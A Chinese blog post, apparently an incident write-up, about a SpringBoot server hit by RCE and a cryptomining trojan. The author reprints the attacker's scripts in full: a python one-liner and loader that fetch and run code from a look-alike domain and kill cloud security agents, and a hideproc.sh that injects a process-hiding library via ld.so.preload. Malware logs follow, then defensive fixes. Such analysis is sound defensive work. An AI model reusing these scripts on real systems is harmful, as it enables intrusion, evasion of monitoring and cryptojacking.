服务器被入侵挖矿过程
事情经过
昨天是周六,睡得比较晚。玩手机时忽然收到阿里云短信和邮件提醒,服务器有异常行为:一看邮件内容就知道不得了,赶紧打开电脑处理。首先用 netstat 命令查看端口,发现一个异常的端口,但不显示程序名。这时心里已经很清楚,服务器上的Java程序被远程执行代码(RCE),也许还被植入了 rootkit。
首要问题是保障业务正常可用,于是快速拉起另外一个实例,将业务迁移过去。接下来, 首先将被入侵服务器关机,然后一步步研究入侵过程,以及其在服务器上的行为。
入侵行为分析
根据邮件内容,一个 SpringBoot 应用被 getshell 并被执行远程代码。被执行的代码语句 base64 解码后为:
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
将其下载,内容如下:import sysimport osfrom os.path import expanduser
ver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:
os.mkdir(homedir+"/.git")except Exception as e:
print(e)if os.path.isdir(homedir+"/.git"):
gitdir=homedir+"/.git"try:
os.mkdir("./.git")except Exception as e:
print(e)if os.path.isdir("./.git"):
gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:
html = f.read()
open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:
f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())
f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):
os.system(gitdir+"/kworkers")else:
os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
远程代码主要做了这些事情:
- 卸载服务器上的安全监控工具;事后开机,发现阿里云盾果然被卸载了
- 关掉所有kworkers进程;
-
在当前目录下创建 .git 目录,下载并执行 kworkers 程序。
服务器残留痕迹
大概知道了木马的行为,接着重启服务器,查看服务器上的痕迹。1、查看有无添加定时任务:木马添加了定时启动任务。2、进入木马主目录,发现下载了如下文件:# crontab -l
0 2 * * * /xxx/.git/kworkers
此外,上层目录和家目录还多了 cert_key.pem 和 cert.pem 两个文件,分别存放公钥和密钥。3、查看木马留下的日志,有如下内容:
根据日志,主要是下载程序,检测用户名和密码,探测内网,然后启动自动更新、隐藏进程等程序。/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound protected
passfound provided
passfound +client
passfound +client
passfound protected
passfound provided
passfound quality
passfound (plus
passfound (digits,
passfound prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd /xxx/.git/kworkers
/xxx/.git
passfound file,
passfound settings
passfound file.
passfound callbacks
passfound Callback
passfound example
passfound prompt
passfound password
passfound information
passfound token
passfound token
passfound token
passfound Password
passfound password
passfound password
passfound -based
passfound Password
passfound (using
passfound field>
passfound retry
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound password
passfound password
passfound foobar
passfound foobar
passfound secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range xxx.xxx.0.0/16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80 open
xxx.xxx0xxx:443 open
version same download
version same dbus
restart dbus
exec again dbus downrun
kill process pid 23709
process completed
version same hideproc.sh
skip restart hideproc.sh
version same sshkey.sh
skip restart sshkey.sh
version same autoupdate
skip restart autoupdate
version same kworkers
Key path not found
- 对 hideproc.sh 感兴趣,其内容为:
其首先检测是否root用户,然后编译libc2共享库,注入隐藏进程的代码。这应该是用netstat无法查看到进程名的原因。5、查看访问日志,发现期间有个IP对服务器进行爆破:if [ "$EUID" -ne 0 ] then echo "Please run as root"else
if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
其他信息
除了上述文件,/tmp文件夹下还生成了.1和.1.sh文件;
查询可疑ip,位于国内北京市,应该是肉鸡;
查询木马下载域名windowsupdatesupport.org,今年6月注册,解析ip都在国外。该域名很有混淆性,并且为了方便直接用http访问;
除了下载木马文件挖矿,未改变服务器上的其他数据。
服务器被入侵挖矿解决办法
虽然知道是 SpringBoot 应用触发了 RCE,但遗憾目前仍未找到是哪个包导致的漏洞。目前采取的缓解措施为:1、被入侵服务器重装系统;
2、使用非 root 用户启动 SpringBoot 应用;
3、被入侵的是子系统,增加基本授权:
apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user
然后配置 Nginx 使用认证信息:
server {
...
auth_basic "子系统鉴权:";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
..
}
4、防火墙限制对外连接。
上述错误能一定程度上避免类似情况再次发生,但找到应用程序中的漏洞才是接下来的重点。总结
幸运的是这次来的是挖矿木马,服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒,让我在第一时间处理。
但这次事故也敲醒了警钟:
- 不要随意用 root 权限运行程序;
- 防火墙权限要严格收紧;
- 做好安全监控;
- 时刻做好数据备份。
审核编辑:汤梓红
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原文标题:记一次服务器被入侵,没想到我轻松搞定了它~
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